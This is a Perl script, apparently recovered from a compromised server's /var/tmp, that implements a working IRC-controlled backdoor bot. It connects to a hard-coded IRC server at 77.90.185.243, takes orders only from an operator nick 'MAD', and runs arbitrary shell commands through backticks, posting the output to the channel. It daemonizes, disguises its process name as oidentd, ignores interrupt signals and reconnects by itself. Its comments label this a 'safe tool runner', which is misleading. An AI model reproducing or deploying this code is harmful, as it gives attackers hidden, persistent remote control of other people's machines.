File: //proc/self/root/proc/self/root/var/tmp/bt.pl
#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket::INET;
use POSIX qw(setsid WNOHANG);
use Time::HiRes qw(sleep);
# ---------------- CONFIG ----------------
my $pidfile = "/tmp/irc_bot.pid";
my $logfile = "/dev/null";
my $server = "77.90.185.243";
my $port = 6667;
my $channel = "#bt";
my $owner = "MAD";
my $fake_name = "/usr/sbin/oidentd";
# ---------------- NICK / IDENT ----------------
sub random_suffix { int(rand(9000)) + 1000 }
my $mynick = "zd-" . random_suffix();
my $ident = "Perlt";
my $realname = "how how";
# ---------------- SIGNAL HANDLING ----------------
$SIG{INT} = sub { print "Ctrl+C ignored. Use --stop to terminate the bot.\n"; };
$SIG{TERM} = sub {
print "SIGTERM received, shutting down cleanly...\n";
unlink $pidfile if -e $pidfile;
exit 0;
};
$SIG{HUP} = sub { print "SIGHUP ignored.\n"; };
$SIG{CHLD} = sub { while ((my $pid = waitpid(-1, WNOHANG)) > 0) {} };
# ---------------- DAEMON CONTROL ----------------
if (@ARGV && $ARGV[0] eq "--stop") {
if (-e $pidfile) {
open my $fh, "<", $pidfile or die "Can't open PID file: $!";
my $pid = <$fh>;
close $fh;
chomp $pid;
if ($pid =~ /^\d+$/) {
kill 'TERM', $pid;
unlink $pidfile;
print "Stopped bot PID $pid\n";
} else {
print "Invalid PID file\n";
}
} else {
print "No PID file found\n";
}
exit;
}
if (@ARGV && $ARGV[0] eq "--daemon") {
my $pid = fork();
if ($pid) { print "Bot started in background PID $pid\n"; exit; }
setsid() or die "setsid failed: $!";
my $pid2 = fork();
if ($pid2) { exit; }
open STDIN, '<', '/dev/null';
open STDOUT, '>>', $logfile;
open STDERR, '>>', $logfile;
$0 = $fake_name;
}
# ---------------- PID FILE ----------------
open my $pfh, ">", $pidfile or die "Can't write PID file: $!";
print $pfh "$$\n";
close $pfh;
# ---------------- SAFE TOOL RUNNER ----------------
sub run_tool {
my ($tool, $args) = @_;
$args //= "";
my $output = "";
if ($tool eq "uname") { $output = `uname -a`; }
elsif ($tool eq "uptime") { $output = `uptime`; }
elsif ($tool eq "whoami") { $output = `whoami`; }
elsif ($tool eq "ls") { $output = `ls -la $args 2>&1`; }
else { $output = `$tool $args 2>&1`; }
$output //= '';
$output =~ s/\r?\n/ | /g;
$output =~ s/\s+/ /g;
$output = substr($output, 0, 350) . "..." if length($output) > 350;
return $output;
}
# ---------------- CONNECT FUNCTION ----------------
sub connect_to_server {
my $sock;
while (1) {
$sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
Proto => 'tcp',
Timeout => 30
);
if ($sock) {
print "Connected to $server:$port\n";
last;
} else {
print "Connection failed, retrying in 10s...\n";
sleep(10);
}
}
return $sock;
}
# ---------------- MAIN LOOP ----------------
while (1) {
my $sock = connect_to_server();
sub quote {
my ($msg) = @_;
print $sock "$msg\r\n";
}
quote("NICK $mynick");
quote("USER $mynick 8 $ident :$realname");
while (my $line = <$sock>) {
chomp $line;
my @p = split ' ', $line;
my $cmd = $p[1] // '';
# PING
if ($p[0] && $p[0] eq "PING") {
(my $srv = $p[1]) =~ s/^://;
quote("PONG $srv");
next;
}
# WELCOME
if ($cmd eq "001") {
quote("JOIN $channel");
next;
}
# NICK collision
if ($cmd eq "433" || $cmd eq "432" || $cmd eq "437") {
$mynick = "zd-" . random_suffix();
quote("NICK $mynick");
next;
}
# PRIVMSG
if ($cmd eq "PRIVMSG") {
my $src = $p[0];
my ($nick, $userhost) = $src =~ /^:([^!]+)![^@]+@(.+)$/;
next unless defined $nick && defined $userhost;
# SECURITY FILTER
next unless $nick eq $owner;
next unless $userhost =~ /ircd2\.rotero\.vc$/;
my $text = join(' ', @p[3..$#p]);
$text =~ s/^://;
# SAY
if ($text =~ /^!say\s+(.+)/i) {
quote("PRIVMSG $channel :$1");
}
# shortcut
if ($text =~ /^zd-\d+\s+(\S+)(.*)$/i) {
$text = "!cmd $1$2";
}
# CMD
if ($text =~ /^!cmd\s+(\S+)(.*)$/i) {
my $tool = lc $1;
my $args = $2 // '';
$args =~ s/^\s+//;
my $pid = fork();
if (!defined $pid) {
quote("PRIVMSG $channel :fork failed");
next;
}
if ($pid == 0) {
my $out = run_tool($tool, $args);
quote("PRIVMSG $channel :$out");
exit 0;
}
}
} # END PRIVMSG
} # END READ LOOP
print "Disconnected, reconnecting in 10s...\n";
close($sock);
sleep(10);
} # END MAIN LOOP